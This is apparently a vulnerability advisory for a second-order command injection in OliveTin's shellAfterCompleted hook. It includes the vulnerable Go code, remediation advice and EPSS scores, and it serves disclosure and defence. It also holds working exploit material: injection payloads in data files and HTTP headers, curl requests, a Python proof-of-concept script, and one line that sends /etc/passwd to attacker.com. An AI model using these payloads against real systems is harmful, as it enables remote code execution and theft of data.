Loading advisory.
Loading advisory.
OliveTin: Second-Order OS Command Injection via shellAfterCompleted
OliveTin's shellAfterCompleted post-execution hook injects unsanitized variables — including arbitrary command output (output), the authenticated username (ot_username), and the exit code (exitCode) — directly into a shell command template processed by sh -c.
Published 2026-11-18 20:18 UTC · Modified 2026-11-23 20:40 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| github.com/OliveTin/OliveTin | Go | < 0.0.0-20260728155752-e5d29b68da66 | 0.0.0-20260728155752-e5d29b68da66 | go get github.com/OliveTin/OliveTin@v0.0.0-20260728155752-e5d29b68da66 |
OliveTin's shellAfterCompleted post-execution hook injects unsanitized variables — including arbitrary command output (output), the authenticated username (ot_username), and the exit code (exitCode) — directly into a shell command template processed by sh -c. Unlike the main action's argument handling, no checkShellArgumentSafety validation is applied to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.
This is a distinct finding from CVE-2026-27626 (OS command injection via password type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the post-execution step (stepExecAfter), which has zero safety checks on any of its template variables.
All versions containing shellAfterCompleted functionality (current codebase through latest)
In service/internal/executor/executor.go, the stepExecAfter function handles post-execution commands:
func stepExecAfter(req *ExecutionRequest) bool {
if req.Binding.Action.ShellAfterCompleted == "" {
return true
}
// These variables are injected WITHOUT any type checking or sanitization
args := map[string]string{
"output": req.logEntry.Output, // Arbitrary command stdout/stderr
"exitCode": fmt.Sprintf("%v", req.logEntry.ExitCode),
"ot_executionTrackingId": req.TrackingID,
"ot_username": req.AuthenticatedUser.Username, // User-controlled via trusted headers
}
// Template rendered with unsanitized args
finalParsedCommand, err := tpl.ParseTemplateWithActionContext(
req.Binding.Action.ShellAfterCompleted,
req.Binding.Entity,
args,
)
// Directly passed to sh -c — NO safety check
cmd := wrapCommandInShell(ctx, finalParsedCommand)
// ...
}The wrapCommandInShell function (in executor_unix.go) executes:
func wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {
return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand)
}The main action's shell commands go through checkShellArgumentSafety (called from handleShellBranch at line 693 of executor.go), which blocks dangerous argument types like password, url, email, raw_string_multiline, and very_dangerous_raw_string from shell mode.
stepExecAfter calls none of these checks. The output variable is:
Not a declared argument with a type — it's internally created
Not validated against any regex or type system
Not passed through checkShellArgumentSafety
Directly interpolated into a shell command template
A grep for checkShellArgumentSafety in the codebase confirms it is only invoked at one location:
executor.go:693: if err := checkShellArgumentSafety(req); err != nil {This is inside handleShellBranch (the primary action execution), not in stepExecAfter.
If a primary action echoes user-controlled input:
actions:
- title: Lookup User
shell: "echo 'User: {{ .Arguments.username }}'"
shellAfterCompleted: "audit-log '{{ .Arguments.output }}'"
arguments:
- name: username
type: ascii_identifierWhile ascii_identifier constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into shellAfterCompleted.
Actions using exec mode (array form) safely handle arguments in the primary command but the output still flows to shellAfterCompleted through a shell:
actions:
- title: Read External Data
exec:
- cat
- /shared/data/{{ .Arguments.filename }}
shellAfterCompleted: "process-result '{{ .Arguments.output }}'"
arguments:
- name: filename
type: ascii_identifierIf /shared/data/report contains text like:
'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #The shellAfterCompleted becomes:
process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'This executes arbitrary commands as the OliveTin process user.
When trusted header authentication is used (see Finding 04), the ot_username variable comes directly from an HTTP header with no sanitization:
actions:
- title: Any Action
shell: "echo ok"
shellAfterCompleted: "logger 'Action completed by {{ .Arguments.ot_username }}'"An attacker sets:
X-Remote-User: '; id > /tmp/pwned #The shellAfterCompleted becomes:
logger 'Action completed by '; id > /tmp/pwned #'This chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands.
OliveTin instance with an action configured with shellAfterCompleted
The shellAfterCompleted template references {{ .Arguments.output }} or {{ .Arguments.ot_username }}
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
actions:
- title: Process File
id: process-file
exec:
- cat
- "/tmp/olivetin-data/{{ .Arguments.filename }}"
shellAfterCompleted: "echo '{{ .Arguments.output }}' >> /tmp/olivetin-audit.log"
arguments:
- name: filename
type: ascii_identifier# On the server, create a file with shell injection payload
mkdir -p /tmp/olivetin-data
echo "normal_data'; touch /tmp/PWNED; echo '" > /tmp/olivetin-data/reportcurl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \
-H 'Content-Type: application/json' \
-d '{"bindingId":"process-file","arguments":[{"name":"filename","value":"report"}]}'ls -la /tmp/PWNED
# If the file exists, the injection was successfulExplanation: The cat command (exec mode) safely reads the file. The output normal_data'; touch /tmp/PWNED; echo ' is captured. Then shellAfterCompleted renders:
echo 'normal_data'; touch /tmp/PWNED; echo '' >> /tmp/olivetin-audit.logThis executes touch /tmp/PWNED as a second command.
# Add to config
authHttpHeaderUsername: "X-Remote-User"curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \
-H 'Content-Type: application/json' \
-H "X-Remote-User: test'; touch /tmp/PWNED2; echo '" \
-d '{"bindingId":"some-action","arguments":[]}'If shellAfterCompleted uses {{ .Arguments.ot_username }}, the injection executes.
#!/usr/bin/env python3
"""PoC: Second-Order Command Injection via shellAfterCompleted output variable.
Distinct from CVE-2026-27626 (password type injection in primary execution).
This exploits the post-execution step which has zero argument safety checks.
"""
import requests
import time
import os
TARGET = "http://127.0.0.1:1337"
BINDING_ID = "process-file"
def setup_payload():
"""Create a data file containing shell injection payload."""
os.makedirs("/tmp/olivetin-data", exist_ok=True)
with open("/tmp/olivetin-data/exploit", "w") as f:
f.write("data'; id > /tmp/rce-proof; echo '")
print("[+] Created malicious data file")
def trigger_action():
"""Execute the action that reads the malicious file."""
resp = requests.post(
f"{TARGET}/api/StartActionAndWait",
json={
"bindingId": BINDING_ID,
"arguments": [{"name": "filename", "value": "exploit"}]
},
headers={"Content-Type": "application/json"}
)
print(f"[+] Action response: {resp.status_code}")
return resp.json()
def verify_rce():
"""Check if the injected command executed."""
time.sleep(2)
if os.path.exists("/tmp/rce-proof"):
with open("/tmp/rce-proof") as f:
print(f"[!] RCE CONFIRMED: {f.read().strip()}")
return True
else:
print("[-] /tmp/rce-proof not found")
return False
if __name__ == "__main__":
setup_payload()
result = trigger_action()
print(f"[*] Action output: {result}")
verify_rce()Remote Code Execution: Arbitrary commands execute as the OliveTin process user
Chained with Finding 04: Trusted header spoofing enables injection via ot_username
Bypass of CVE-2026-27626 fix: The fix for that CVE only addressed checkShellArgumentSafety in the primary execution step; the post-execution step was not hardened
Exec mode bypass: Actions using the safe exec mode (array form) for the primary command can still be exploited through their output flowing to the shell-based shellAfterCompleted
Apply checkShellArgumentSafety (or equivalent) to stepExecAfter variables
Shell-escape the output, ot_username, and exitCode values before template substitution (e.g., using shellescape.Quote())
Consider adding an exec-mode variant for shellAfterCompleted to avoid shell interpretation entirely
Sanitize ot_username to reject shell metacharacters regardless of the auth provider
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.006 on 2026-11-24 to 0.009 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.006 | first score | v2026.06.15 |
| 2026-11-26 | 0.009 | 0.006 | v2026.06.15 |